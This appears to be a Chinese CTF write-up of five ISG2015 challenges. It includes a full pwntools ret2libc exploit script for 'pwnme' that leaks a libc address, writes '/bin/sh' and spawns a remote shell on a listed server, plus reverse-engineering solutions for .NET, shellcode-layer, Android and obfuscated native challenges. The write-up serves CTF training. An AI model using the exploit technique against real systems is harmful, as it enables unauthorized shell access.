isg2015我自己做出的部分题目writeup

2015年10月19日

一、pwnme (exploit100)

pwnme

此题类似去年的pwnme300,不过换成了32位,并给了libc。这里的问题就是linux下32位程序特有的函数prologue

push    ebp
mov     ebp, esp
and     esp, 0FFFFFFF0h

这样不确定服务器上的main_ret到底有多远。不过这个不是问题,可以试出来。直接上代码:

from pwn import *
import struct

#p = process('/ctf/isg2015/pwnme')
p = remote('202.120.7.145', 9991)


lib_system = 0x40190
lib_write = 0xdac50
lib_read = 0xdabd0

write_plt = 0x8048370
read_plt = 0x8048330

write_plt_got = 0x804A01C
#write_plt_got = 0x804a038
main = 0x804847D
segdata = 0x0804A020

print p.readline(), p.readline()
payload = 'A'*20 + p32(write_plt) + p32(main) + p32(1) + p32(write_plt_got) + p32(4)
p.send(payload)
#write, = struct.unpack('I', p.read(4))
write, = struct.unpack('<I', p.recv(4))
print hex(write)


print p.readline(), p.readline()
payload = 'A'*12 + p32(read_plt) + p32(main) + p32(0) + p32(segdata) + p32(8)
p.send(payload)
#sleep(1)
p.send('/bin/sh\x00')

'''
print p.readline(), p.readline()
payload = 'A'*20 + p32(write_plt) + p32(main) + p32(1) + p32(segdata) + p32(8)
p.send(payload)

print p.recv(8)
'''

print p.readline(), p.readline()
payload = 'A'*20 + p32(write+lib_system-lib_write) + 'J'*4 + p32(segdata)
p.send(payload)
#p.send('ls\n')
#print p.recv(1024)
p.interactive()

题目下载

二、flagfinder (reverse100)

此题是个zip文件,解压缩后是一个.net的可执行程序。扔ILSpy里面看程序很简单:

private static byte[] target = new byte[]
{
	108,
	203,
	97,
	69,
	90,
	216,
	146,
	25,
	144,
	43,
	58,
	246,
	10,
	154,
	45,
	28
};

public static void CheckFile(FileInfo file)
{
	try
	{
		Console.WriteLine("Analyzing " + file.FullName + " ...");
		MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
		if (mD5CryptoServiceProvider.ComputeHash(file.OpenRead()).SequenceEqual(Module1.target))
		{
			SHA256CryptoServiceProvider sHA256CryptoServiceProvider = new SHA256CryptoServiceProvider();
			Console.WriteLine("We've found the flag on your hard drive:");
			Console.WriteLine("ISG{" + BitConverter.ToString(sHA256CryptoServiceProvider.ComputeHash(file.OpenRead())).ToLower() + "}");
			Environment.Exit(0);
		}
		Thread.Sleep(100);
	}
	catch (Exception expr_81)
	{
		ProjectData.SetProjectError(expr_81);
		Console.WriteLine("Unable to read: " + file.FullName);
		ProjectData.ClearProjectError();
	}
}

google搜索target对应的md5,得到

flagfinder

下面就是坑了,BitConverter的输出格式每一个字符的hex之间会有一个’-‘。

三、onion (reverse300)

此题很有意思,考编程能力。64位的可执行文件近10M,IDA肯定是无法弄了。直接对.text进行反编译,程序的逻辑非常清晰:

a7:       48 8b 04 24             mov    rax,QWORD PTR [rsp]
ab:       48 bb c6 04 24 4c c6    movabs rbx,0x12444c64c2404c6
b2:       44 24 01 
b5:       48 31 d8                xor    rax,rbx
b8:       0f 85 a8 23 c9 00       jne    0xc92466
be:       48 8b 44 24 08          mov    rax,QWORD PTR [rsp+0x8]
c3:       48 bb 76 c6 44 24 02    movabs rbx,0x44c62e022444c676
ca:       2e c6 44 
cd:       48 31 d8                xor    rax,rbx
d0:       0f 85 90 23 c9 00       jne    0xc92466
d6:       48 8b 44 24 10          mov    rax,QWORD PTR [rsp+0x10]
db:       48 bb 24 03 32 c6 44    movabs rbx,0x20042444c6320324
......
......
c92430:       48 bb 44 24 10 0a c6    movabs rbx,0x112444c60a102444
c92437:       44 24 11 
c9243a:       48 31 d8                xor    rax,rbx
c9243d:       75 27                   jne    0xc92466
c9243f:       48 8b 84 24 d8 98 3b    mov    rax,QWORD PTR [rsp+0x3b98d8]
c92446:       00 
c92447:       48 bb 00 48 c7 c0 11    movabs rbx,0x11c0c74800
c9244e:       00 00 00 
c92451:       48 31 d8                xor    rax,rbx
c92454:       75 10                   jne    0xc92466
c92456:       48 31 c0                xor    rax,rax
c92459:       8a 84 24 e4 98 3b 00    mov    al,BYTE PTR [rsp+0x3b98e4]	//这里是个大坑,不过不考虑执行的话,只静态分析,丢掉这个直接没关系。因为最后出flag的那一层,显示flag的那个部分都出来了。
c92460:       34 ff                   xor    al,0xff
c92462:       75 02                   jne    0xc92466
c92464:       ff e4                   jmp    rsp

执行到最后一层后:

  aa:   66 8b 04 24             mov    ax,WORD PTR [rsp]
  ae:   66 35 49 53             xor    ax,0x5349
  b2:   0f 85 a0 01 00 00       jne    0x258
  b8:   66 8b 44 24 02          mov    ax,WORD PTR [rsp+0x2]
  bd:   66 3d 47 7b             cmp    ax,0x7b47
  c1:   0f 85 91 01 00 00       jne    0x258
  c7:   66 8b 44 24 04          mov    ax,WORD PTR [rsp+0x4]
  cc:   66 35 47 31             xor    ax,0x3147
  d0:   0f 85 82 01 00 00       jne    0x258
  d6:   66 8b 44 24 06          mov    ax,WORD PTR [rsp+0x6]
  db:   66 35 76 33             xor    ax,0x3376
  df:   0f 85 73 01 00 00       jne    0x258
  e5:   66 8b 44 24 08          mov    ax,WORD PTR [rsp+0x8]
  ea:   66 35 5f 79             xor    ax,0x795f
  ee:   0f 85 64 01 00 00       jne    0x258
  f4:   66 8b 44 24 0a          mov    ax,WORD PTR [rsp+0xa]
  f9:   66 2d 30 55             sub    ax,0x5530
  fd:   0f 85 55 01 00 00       jne    0x258
 103:   66 8b 44 24 0c          mov    ax,WORD PTR [rsp+0xc]
 108:   66 35 5f 4d             xor    ax,0x4d5f
 10c:   0f 85 46 01 00 00       jne    0x258
 112:   66 8b 44 24 0e          mov    ax,WORD PTR [rsp+0xe]
 117:   66 35 59 5f             xor    ax,0x5f59
 11b:   0f 85 37 01 00 00       jne    0x258
 121:   66 8b 44 24 10          mov    ax,WORD PTR [rsp+0x10]
 126:   66 35 4f 6e             xor    ax,0x6e4f
 12a:   0f 85 28 01 00 00       jne    0x258
 130:   66 8b 44 24 12          mov    ax,WORD PTR [rsp+0x12]
 135:   66 3d 31 30             cmp    ax,0x3031
 139:   0f 85 19 01 00 00       jne    0x258
 13f:   66 8b 44 24 14          mov    ax,WORD PTR [rsp+0x14]
 144:   66 3d 6e 5f             cmp    ax,0x5f6e
 148:   0f 85 0a 01 00 00       jne    0x258
 14e:   66 8b 44 24 16          mov    ax,WORD PTR [rsp+0x16]
 153:   66 35 68 33             xor    ax,0x3368
 157:   0f 85 fb 00 00 00       jne    0x258
 15d:   66 8b 44 24 18          mov    ax,WORD PTR [rsp+0x18]
 162:   66 3d 34 72             cmp    ax,0x7234
 166:   0f 85 ec 00 00 00       jne    0x258
 16c:   66 8b 44 24 1a          mov    ax,WORD PTR [rsp+0x1a]
 171:   66 2d 37 7d             sub    ax,0x7d37
 175:   0f 85 dd 00 00 00       jne    0x258

显示flag还用到了cmp、sub、xor等方式,又是坑。上代码更能说明问题

from pwn import *

#lv.1
f = open('/ctf/isg2015/onion', 'rb')
o = open('/ctf/isg2015/onion.disasm', 'w')

a = f.read()
a = a[0xb0:0xc930b0]	#.text段在文件中的偏移和大小,可以用readelf获得
o.write(disasm(a, arch='amd64'))
#print disasm(a, arch='amd64')

o.close()
f.close()


#lv.2
f = open('/ctf/isg2015/onion.disasm', 'r')
o = open('/ctf/isg2015/onion.2', 'w')

shellcode = ''
lines = f.readlines()
for l in lines:
	if l.find('movabs') > 0:
		tmp = l.split(',')
		strq = tmp[len(tmp)-1].strip()
		q = int(strq, 16)
		shellcode += p64(q)

o.write(disasm(shellcode, arch='amd64'))
o.close()
f.close()

#lv.....
name = 'onion.'
for i in range(3, 10):	#这里的范围根据题目的提示第九层,没想到一下子就对了
	fname = name + ('%d' % (i-1))
	oname = name + ('%d' % i)
	#print fname, oname

	f = open(fname, 'r')
	o = open(oname, 'w')

	shellcode = ''
	lines = f.readlines()
	for l in lines:
		if l.find('movabs') > 0:
			tmp = l.split(',')
			strq = tmp[len(tmp)-1].strip()
			q = int(strq, 16)
			shellcode += p64(q)

	o.write(disasm(shellcode, arch='amd64'))

	o.close()
	f.close()

#flag
f = open('/ctf/isg2015/onion.9', 'r')	#因为前面会丢掉那个坑人的最后一个字节,所以这里的code不是完整的

flag = ''
lines = f.readlines()
for l in lines:
	if l.find('xor    ax') > 0 or l.find('sub    ax') > 0 or l.find('cmp    ax') > 0:
		tmp = l.split(',')
		strw = tmp[len(tmp)-1].strip()
		w = int(strw, 16)
		flag += p16(w)

print flag

f.close()

四、forest (mobile150)

此题做了名称的混淆,坑点在于有两层界面,实际的在第一层,就是基类的基类里面。虽然用三种不同的方法将flag进行加密,并且连接。但最终是取最前面的部分进行比较,第一层加密比较简单,解出来就是完整的flag了。

public class cc {
    public static String encrypt(String s) {
        String flag = "";
        for (int i = 0; i < s.length(); i++) {
            char c = s.charAt(i);
            if (c >= 'a' && c <= 'm') {
                c = (char) (c + 13);
            } else if (c >= 'A' && c <= 'M') {
                c = (char) (c + 13);
            } else if (c >= 'n' && c <= 'z') {
                c = (char) (c - 13);
            } else if (c >= 'N' && c <= 'Z') {
                c = (char) (c - 13);
            } else if (c < '0' || c > '9') {
                c = (char) (c ^ 6);
            } else {
                c = (char) (c ^ 7);
            }
            flag = new StringBuilder(String.valueOf(flag)).append(c).toString();
        }
        return flag;
    }
}
public class uc {
    public static String nj = "VFT}E7gy4yfE7tuG6{";

    public static boolean bh(String x1, String x2, String x3) {
        String x4 = new StringBuilder(String.valueOf(x1)).append(x2).append(x3).toString();
        int n = nj.length();
        if (n > x4.length()) {
            n = x4.length();
        }
        if (x4.substring(0, n).equals(nj)) {
            return true;
        }
        return false;
    }
}

还原代码

a = 'VFT}E7gy4yfE7tuG6{'

b = []
for c in a:
	if ord(c) >= ord('A') and ord(c) <= ord('Z'):
		b.append(chr((ord(c) - ord('A') + 13) % 26 + ord('A')))
	elif ord(c) >= ord('a') and ord(c) <= ord('z'):
		b.append(chr((ord(c) - ord('a') + 13) % 26 + ord('a')))
	elif ord(c) >= 0x30 and ord(c) <= 0x37 or ord(c) == 0x3e or ord(c) == 0x3f:
		b.append(chr(ord(c) ^ 7))
	else:
		b.append(chr(ord(c) ^ 6))

print ''.join(b)

五、lol (mobile250)

这题是调用native函数获得flag。apktool翻遍以后得到so。看so的函数,找到en的内部调用函数。函数使用了逻辑混淆,这种混淆曾经在阿里的apk加密里面看到过。有高人说是“控制流平坦化的混淆”的混淆,说google能找到一些资料。 代码混淆的技术和还原没有学习过,看来以后要深入学习一下。不过这个题目混淆后还是能看的,多花点时间罢了。 这种混淆,真正的代码逻辑隐藏在==的地方,所以只要根据不断变化的大数,找到相等的分支逻辑,就可以拼凑代码片段。 最终拼凑出来的大概是这个样子,只能看个大概了,下面就是猜了。混淆要手动拼凑分值还是太难了。

en(char* flag, char* flag)
{
	v30 = flag;
	v28 = len(flag);
	_LR = 0;
	while ( _LR < (signed int)v28 )
	{
		v14 = 0;
		if ( _LR > 2 )
            v14 = 1;

        v31 = v14;
        if(v31)
        {
        	if ( (unsigned int)v30[_LR] > 0x40 )
        	{
        		if ( (unsigned int)v30[_LR] < 0x5B )
        		{
        			LOBYTE(v2) = 48;
                    *(_WORD *)v29 = 48;

                    ?? return
        		}
        	}
        }

         _R5 = -2;
         _R5 = _R5 or (not _LR)		//__asm { ORN.W           R5, R5, LR }
         _ZF = _R5 == -1;
         v12 = 0;
         if ( _ZF )
           v12 = 1;
         v32 = v12;

         if(v32)
         {
         	v2 = v5;
            v13 = (v30[_LR] & 0x26 | ~v30[_LR] & 0xD9) ^ 0xDE;
            v34[_LR] = v13;
            v5 = v2;
         }
         else
         {
	         v2 = v5;
	         v13 = (unsigned __int8)(v30[_LR] & 0xF6) | ~v30[_LR] & 9;
	         v34[_LR] = v13;
	         v5 = v2;
	     }

         ++_LR;
	}

	 v34[v28] = 0;
     v2 = 1977030948;
     v26 = 0;
     v27 = 0;

     v20 = 0;
     if ( v26 < 24 )
     	v20 = 1;
     v33 = v20;

     if ( v33 )
     {
     	v2 = 1977030948;
     	if ( (unsigned __int8)v34[v26] != (unsigned __int8)aNzRol68hviis8q[v26] )
     	{
     		v27 = 48;
     		*(_BYTE *)v29 = v27;
            *(_BYTE *)(v29 + 1) = 0;

            return;
     	}
     }
}

这个代码是根据IDA的F5拼凑的,关键地方很容易看出来,两个加密的语句根据一个条件来选择。所以直接暴力了

#include <stdio.h>

int main()
{
	char a[] = "NZ@rol68hViIs8qlX~7{6m&t";

	bool b;
	char v13;
	for(int i=0; i<24; i++)
	{
		b = ((-2 | (~i)) == -1) ? true : false;

		for(char c=0x20; c<0x7f; c++)
		{
			if(b)
				v13 = (c & 0x26 | ~c & 0xD9) ^ 0xDE;
			else
				v13 = (c & 0xF6) | ~c & 9;

			if(v13 == a[i])
				printf("%c", c);
		}
	}

	return 0;
}

题目下载